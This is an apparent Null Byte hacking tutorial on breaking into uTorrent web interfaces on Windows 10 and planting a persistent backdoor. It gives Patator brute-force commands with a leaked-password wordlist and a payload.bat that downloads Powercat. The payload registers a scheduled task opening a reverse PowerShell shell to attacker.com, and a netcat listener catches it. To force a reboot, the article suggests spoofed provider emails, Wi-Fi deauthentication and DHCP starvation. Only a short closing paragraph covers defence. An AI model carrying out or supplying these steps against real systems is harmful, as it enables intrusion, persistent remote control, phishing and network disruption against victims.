Hacking Windows 10: How to Hack uTorrent Clients & Backdoor the Operating System « Null Byte :: WonderHowTo

Compromised uTorrent clients can be abused to download a malicious torrent file. The malicious file is designed to embed a persistent backdoor and execute when Windows 10 reboots, granting the attacker remote access to the operating system at will.Torrent clients likeuTorrentandTransmissionhave built-in features that allow server administrators to remotely access the torrent client via web application interfaces, as shown in the below image example of uTorrent's web app.Overall, the number ofpublicly accessible torrent clientsis growing. As torrent clients increase in popularity, so does the number ofpoorly configured and insecureservices. Likeall web apps, these clients can be hacked in various ways. For instance, in recent years, numerousdirectory traversal,privilege escalation, andcross-site scriptingvulnerabilities have been disclosed, as seen in the image below. In the future, attackers may discover ways of bypassing authentication entirely.Don't Miss:Quickly Enumerate Valid Subdomains for Any WebsiteUnderstanding the AttackSo, a torrent client gets hacked... what's the worst an attacker can do? Pirate some copyrighted materials? Well, yes, but it gets worse. Torrent clients are capable of creating files and directories on the system as well as replacing existing ones. That access to the filesystem can be abused by downloading malicious files through the compromised torrent client.For example, on Windows 10 computers, an attacker can download an executable or script into theStartup directory, as shown in the GIF below. The Startup directory will execute any files it detects without user interaction — every time the server or computer reboots.Don't Miss:How to Disable Startup Programs in Windows 10Modifying the default download directory in a hacked uTorrent client.Linux systems are equally vulnerable to such attacks but are out of the scope of our demonstration here. The.bashrc filefound in most Linux system is essentially a Bash script that's executed every time a new terminal is opened or SSH login is established. An attacker can use the compromised torrent client to download a malicious .bashrc file, replacing the original one found on the server. It would cause the server to execute the attacker's .bashrc when someone successfully authenticates to the server.This article will show how uTorrent web apps can be brute-forced and used to download a PowerShell script into the Windows 10 Startup directory. The PowerShell script is designed to embed a persistent backdoor and immediately delete itself when completed.Step 1: Brute-Force the Login with PatatorAs research suggests, most passwords are six to eight characters in length. Weak passwords may allow attackers to guess the uTorrent login password and begin manipulating files on the server.Patatoris a brute-forcing tool, like Hydra, Medusa, and Burp's Intruder module. Using Patator to brute-force web app logins is very similar to brute-forcing router gateways. In my previous article, "Break into Router Gateways with Patator," command line usage and examples are covered in great detail.More Info:How to Break into Router Gateways with Patator1. Install PatatorTo get started,install Patatorwith the following command if it's not already installed. In full versions of Kali Linux, Patator may already be on the system.~# apt-get update && apt-get install patator

Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
  ca-certificates-java default-jre default-jre-headless fonts-dejavu-extra freerdp2-x11 ike-scan java-common ldap-utils libatk-wrapper-java libatk-wrapper-java-jni libfreerdp-client2-2
  libfreerdp2-2 libgif7 libwinpr2-2 openjdk-11-jre openjdk-11-jre-headless patator python3-ajpy python3-bcrypt python3-dnspython python3-ipy python3-mysqldb python3-nacl python3-openssl
  python3-paramiko python3-psycopg2 unzip
0 upgraded, 27 newly installed, 0 to remove and 0 not upgraded.
Need to get 43.9 MB of archives.
After this operation, 192 MB of additional disk space will be used.
Do you want to continue? [Y/n] Y2. Capture a Login Request with Burp's ProxyOpen Firefox and Burp Suite.Configure Firefox to proxy requests through Burpandcapture the login request. Replace the encoded "Authentication: Basic" string with "FILE0," right-click it, and choose the "Copy to file" option. The FILE0 string will act as a placeholder for Patator's wordlist. Save the request to the /tmp directory with the "utorrent_request.txt" filename.Don't Miss:Use Burp & FoxyProxy to Easily Switch Between Proxy Settings3. Generate a Targeted WordlistHashes.orghas published wordlists containing cracked passwords obtained in recent years. The 2018 wordlist, highlighted in the image below, can be downloaded bynavigating to the website. That's the one we're using as an example in this guide.Unzip the archive with the7z x archive.7zcommand, where "archive" is the directory and filename of the compressed file you downloaded. For instance:~# 7z x /root/Downloads/hashes.org-2018.7z

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Core(TM) i7-4770HQ CPU @ 2.20GHz (40661),ASM,AES-NI)

Scanning the drive for archives:
1 file, 1424620615 bytes (1359 MiB)

Extracting archive: /root/Downloads/hashes.org-2018.7z
--
Path = /root/Downloads/hashes.org-2018.7z
Type = 7z
Physical Size = 1424620615
Headers Size = 142
Method = LZMA:24
Solid = -
Blocks = 1

Everything is Ok

Size:       6429547050
Compressed: 1424620615Then, encode each line in the wordlist with base64. The "admin" username is the default with uTorrent web apps. Swap out the "./hashes.org-2018.txt" directory and file with the location and name of your downloaded wordlist.~# while read password; do printf "admin:$password" | base64; done < ./hashes.org-2018.txt >>./base64_wordlist.txt4. Brute-Force with PatatorIn my tests against uTorrent version 3.5.5 in Windows 10, there didn't seem to be any kind of blacklisting or rate-limiting invoked by hundreds of thousands of failed login attempts. It would appear uTorrent allows an infinite number of login attempts over any prolonged period of time.To brute-force uTorrent web logins, use the belowpatatorcommand with the utorrent_request.txt file created instep two. Make sure you substitute any paths below to the right directory, as yours may be different.~# patator http_fuzz raw_request=/tmp/utorrent_request.txt accept_cookie=1 follow=1 0=./base64_wordlist.txt

16:31:45 patator    INFO - Starting Patator v0.7 (https://github.com/lanjelot/patator) at 2020-01-29 16:31 ESTTo break that command down:raw_request=— Use the utorrent_request.txt created in an earlier step to generate login attempts against the web app.accept_cookie=— Save received cookies to issue them in future requests.follow=— Follow Location redirects for both failed and successful login attempts if instructed by the server.0=— The "FILE0" placeholder in the utorrent_request.txt will iterate through the provided list of passwords.After executing the Patator command, the output will appear as shown below:code size:clen       time | candidate                          |   num | mesg
-----------------------------------------------------------------------------
401  159:0          0.004 | YWRtaW46ISEhbWFmZWlmZWkxMjM0NQ==   |  9902 | HTTP/1.1 401 Unauthorized
401  159:0          0.000 | YWRtaW46ISEhbWFydGluYTk1           |  9912 | HTTP/1.1 401 Unauthorized
401  159:0          0.000 | YWRtaW46ISEhbWVpbnMhISE=           |  9922 | HTTP/1.1 401 Unauthorized
401  159:0          0.007 | YWRtaW46ISEhbWljaCEhIQ==           |  9932 | HTTP/1.1 401 Unauthorized
401  159:0          0.001 | YWRtaW46ISEhbW9t                   |  9942 | HTTP/1.1 401 Unauthorized
401  159:0          0.000 | YWRtaW46ISEhbmFpY3VMISEh           |  9952 | HTTP/1.1 401 Unauthorized
401  159:0          0.000 | YWRtaW46ISEhbmV3d2F2ZQ==           |  9962 | HTTP/1.1 401 Unauthorized
401  159:0          0.000 | YWRtaW46ISEhbm93YXk=               |  9972 | HTTP/1.1 401 Unauthorized
401  159:0          0.000 | YWRtaW46ISEhb29vNTIx               |  9982 | HTTP/1.1 401 Unauthorized
401  159:0          0.000 | YWRtaW46ISEhcGluayEhIQ==           |  9992 | HTTP/1.1 401 Unauthorized
401  159:0          0.000 | YWRtaW46ISEhbWFyeTEyMw==           |  9913 | HTTP/1.1 401 Unauthorized
401  159:0          0.000 | YWRtaW46ISEhbWVsbDI3ODE=           |  9923 | HTTP/1.1 401 Unauthorized
401  159:0          0.001 | YWRtaW46ISEhbWljaGVsbGU=           |  9933 | HTTP/1.1 401 Unauthorized
401  159:0          0.000 | YWRtaW46ISEhbW9uZXk=               |  9943 | HTTP/1.1 401 Unauthorized
401  159:0          0.000 | YWRtaW46ISEhbmFtYXN0ZTIy           |  9953 | HTTP/1.1 401 Unauthorized
401  159:0          0.000 | YWRtaW46ISEhbmlhaXdvYnU=           |  9963 | HTTP/1.1 401 Unauthorized
401  159:0          0.000 | YWRtaW46ISEhbndseTAy               |  9973 | HTTP/1.1 401 Unauthorized
401  159:0          0.000 | YWRtaW46ISEhb3N0YXAhISE=           |  9983 | HTTP/1.1 401 Unauthorized
401  159:0          0.000 | YWRtaW46ISEhcGlwa2EyMDA0ISEh       |  9993 | HTTP/1.1 401 Unauthorized
401  159:0          0.000 | YWRtaW46ISEhbWFzY3VsaW5vISEh       |  9915 | HTTP/1.1 401 Unauthorized
401  159:0          0.000 | YWRtaW46ISEhbWVuZzEyMw==           |  9925 | HTTP/1.1 401 Unauthorized
401  159:0          0.000 | YWRtaW46ISEhbWluaW9uNTg=           |  9935 | HTTP/1.1 401 Unauthorized
401  159:0          0.000 | YWRtaW46ISEhbXVja2VsMDgxNQ==       |  9945 | HTTP/1.1 401 Unauthorized
401  159:0          0.000 | YWRtaW46ISEhbmFuZGExOTk1           |  9955 | HTTP/1.1 401 Unauthorized
401  159:0          0.000 | YWRtaW46ISEhbmlja2k=               |  9965 | HTTP/1.1 401 Unauthorized
401  159:0          0.000 | YWRtaW46ISEhbzc3M2g=               |  9975 | HTTP/1.1 401 Unauthorized
200  42340:42176    0.073 | YWRtaW46UGFTU3dvUkRAMTIzNA==       |  9985 | HTTP/1.1 200 OK
401  159:0          0.004 | YWRtaW46ISEhcG9wOTI=               |  9995 | HTTP/1.1 401 Unauthorized
Hits/Done/Skip/Fail/Size: 10000/10000/0/0/10000, Avg: 1607 r/s, Time: 0h 0m 6sFailed login attempts can befiltered out. Successfullogins can be decodedwithbase64. For example:~# base64 -d <<< 'YWRtaW46UGFTU3dvUkRAMTIzNA=='

admin:PaSSwoRD@1234Step 2: Modify the Default Download DirectoryAfter gaining access to the torrent client, if there are no active downloads, simply add any torrent file and click the "General" tab to identify the username on the Windows system. The torrent can be deleted after discovering the username.Open the "Preferences" and click on the "Directories" tab. Check the "Put new downloads in" button and enter the following Startup directory.C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\StartupBe sure to replace<USERNAME>with the Windows 10 username.Step 3: Create the Payload.batThe PowerShell script (payload.bat) will embed a persistent backdoor with theschtaskscommand and remove evidence of itself from the Startup directory.This is only one example of a PowerShell payload. The script can execute a wide range of automated attacks, such as sensitive file exfiltration,desktop live-streaming,password dumping, andconverting the device into a web proxy.There are several lines in the below PowerShell payload. Comments have been added to help explain what each line does.# A new directory is created called "Windows" in an attempt to
# hide a malicious script in plain sight.
mkdir "C:\Users\$env:username\Windows"

# Invoke-WebRequest is used to download Powercat, a Netcat-like
# PowerShell module. The Powercat script is saved in the
# new "Windows" directory.
iwr 'https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1' -O C:\Users\$env:username\Windows\powercat.ps1

# The schtasks command is executed to create a new scheduled task
# called "backdoor." The task will import the Powercat script
# and attempt to create a TCP connection to the attacker's system
# every time the Windows 10 computer becomes idle.
schtasks /create /f /tn backdoor /tr 'powershell /w 1 -ep bypass /C ipmo C:\Users\$env:username\Windows\powercat.ps1;powercat -c attacker.com -p 9999 -e powershell' /sc onidle /i 1

# The payload.bat is removed from the Startup directory.
rm C:\Users\$env:username\AppData\Roaming\Microsoft\Windows\Start` Menu\Programs\Startup\payload.batCreate a directory called "torrent" with themkdircommand.~# mkdir torrent/Change into the new directory.~# cd torrent/
~/torrent#The above payload has been condensed into one line, chained together by semicolons, which will allow Windows 10 to cleanly execute all of the desired code as one command.Usenanoto create a new "payload.bat" file:~/torrent# nano payload.batAnd save the below PowerShell script to the file:powershell -ep bypass /w 1 "& mkdir C:\Users\$env:username\Windows;iwr 'https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1' -O C:\Users\$env:username\Windows\powercat.ps1;schtasks /create /f /tn backdoor /tr 'powershell /w 1 -ep bypass /C ipmo C:\Users\$env:username\Windows\powercat.ps1;powercat -c attacker.com -p 9999 -e powershell' /sc onidle /i 1;rm C:\Users\$env:username\AppData\Roaming\Microsoft\Windows\Start` Menu\Programs\Startup\payload.bat"Notice thegrave accent(`) in the "Start` Menu" file path. This is not a typo. The grave accent character is a solution toescape spaces.Don't Miss:Create an Undetectable Payload with UnicornStep 4: Create the Torrent FileIn Kali, download theqbittorrentclient in a new terminal window. Most torrent applications allow for torrent creation, but thetransmission-gtkclient failed to create the .torrent file in my tests, so it's not recommended.~# apt-get update && apt-get install qbittorrent

Hit:1 https://mirrors.ocf.berkeley.edu/kali kali-rolling InRelease
Reading package lists... Done
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
  libboost-random1.67.0 libtorrent-rasterbar9 qbittorrent
0 upgraded, 3 newly installed, 0 to remove and 185 not upgraded.
Need to get 7,051 kB of archives.
After this operation, 15.2 MB of additional disk space will be used.
Do you want to continue? [Y/n]Open qBitttorrent. In the menu bar, click the "Tools" button, then "Torrent Creator" to open theTorrent Creatorwindow.Change the path to the payload.bat file, check the "Start seeding immediately" button,add tracker URLs, and click the "Create Torrent" button.The torrent file will be created. Click "OK" and qBittorrent will begin seeding the file. The qBittorrent client must remain open the entire time for other torrent clients (i.e., the compromised uTorrent server) to download the file.Step 5: Import the Torrent FileFrom the hacked uTorrent client, click the "Add Torrent" button in the top-left corner. Import the payload.bat.torrent created in the previous step.The payload.bat only contains a small PowerShell one-liner so it should download within a few seconds. In Windows 10, which won't be accessible to the hacker yet, the payload.bat can be found in the Startup directory.Payload.bat downloaded through uTorrent client and saved into Startup directory.The next time Windows 10 reboots, the payload.bat will execute the script. Withvirtual private servers, getting the target to restart the system can be tricky. Several ideas for accomplishing this are outlined later in the article.Step 6: Start the Netcat ListenerIn Kali, the belownetcatcommand can be used to open a listener (-l) on port (-p) 9999. The listener is required to intercept the connection from the Powercat command embedded in the Windows 10 task scheduler. The port number can be changed but needs to match the Powercat port used in the payload.bat.~# nc -v -l -p 9999

listening on [any] 9999 ...Step 7: Restart the ServerWindows 10 laptops on a local network can be easier to provoke into rebooting. With virtual private servers, it could be days, weeks, or even months before the target server or computer is restarted. It's uncommon for system administrators to reboot a remote system for no reason.Below are several methods that may prompt a user or administrator to restart the operating system.Email: Enumerating the VPS provider in use can be accomplished with severalopen-source intelligence gathering techniques. A spoofed email from the target's VPS provider with a convincing request to immediately reboot of the operating system for "security reasons." The email should resembleactual security notificationssent by the VPS provider.Deauthentication: If the uTorrent application is running on a laptop discovered on a local network, a shortde-authentication attackat intervals will cause the Windows computer to disconnect from the Wi-Fi router momentarily. This may cause the target to restart his/her computer, hoping to resolve theflakyWi-Fi connection.Denial-of-Service: Similarily, a tool likeDHCPigwill use all IP addresses on the network connection, stop new users from obtaining IP addresses, release all IPs in use, then use ARP to knock all Windows hosts offline.Step 8: Post-ExploitationIf the attack were successful, the payload.bat would be removed from the Startup directory, and a new TCP connection will be made to the attacker's system every time the Windows computer becomes idle (i.e., unattended for one minute).~# nc -v -l -p 9999

listening on [any] 9999 ...
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\system32>Preventing This Kind of AttackAs an avid torrent application user, remote access to the client makes downloading new content very convenient. But such web apps must be well fortified with security solutions likeNginx,SSH port-forwarding, orTor onion servicesto prevent unfettered brute-force attacks and full-access to the client from the internet.Until next time, follow me on Twitter@tokyoneon_andGitHub. And as always, leave a comment below or message me on Twitter if you have any questions.Don't Miss:More Null Byte Guides on Hacking Windows 10Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by tokyoneon/Null ByteRelatedHack Like a Pro:How to Crash Your Roommate's Windows 7 PC with a LinkHack Like a Pro:How to Exploit IE8 to Get Root Access When People Visit Your WebsiteHack Like a Pro:Creating a Virtually Undetectable Covert Channel with RECUBNews:What REALLY Happened with the Juniper Networks Hack?Hack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHow To:Install a Persistant Backdoor in Windows Using NetcatHow to Hack Windows 7:Sending Vulnerable Shortcut FilesHow To:Hack Windows XP into Giving You 5 More Years of Free SupportNews:Hacking SCADAHack Like a Pro:How to Conduct Passive OS Fingerprinting with p0fAndroid for Hackers:How to Backdoor Windows 10 & Livestream the Desktop (Without RDP)How To:Download a torrent for the first timeHacking macOS:How to Use One Python Command to Bypass Antivirus Software in 5 SecondsHow to Hack Like a Pro:Hacking Windows Vista by Exploiting SMB2 VulnerabilitiesHacking Windows 10:How to Remotely Record & Listen to the Microphone of a Hacked ComputerAndroid for Hackers:How to Backdoor Windows 10 Using an Android Phone & USB Rubber DuckyHow To:Hack Lets You Fully Activate a Bootleg Copy of Windows 8 Pro for FreeHow To:Hack Your Firefox User Agent to Spoof Your OS and BrowserHack Like a Pro:How to Remotely Grab Encrypted Passwords from a Compromised ComputerHow To:PlayStation Gaming, Dual-Booting, and 6 Other Cool Ways to Get More Out of Your Nook eReaderHack Like a Pro:Metasploit for the Aspiring Hacker, Part 4 (Armitage)Hack Like a Pro:How to Create a Nearly Undetectable Backdoor with CryptcatHack Like a Pro:How to Create a Virtual Hacking LabHow To:Windows 7 Won't Boot? Here's How To Fix Your Master Boot RecordNews:Hack Your Computer's BIOS to Unlock Hidden Settings, Overclocking & MoreHow To:Use All Your Instant Messenger Accounts At OnceHow To:Run Windows from Inside LinuxHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterNews:FIX WINDOWS 7 SLOW STARTUP TIMES...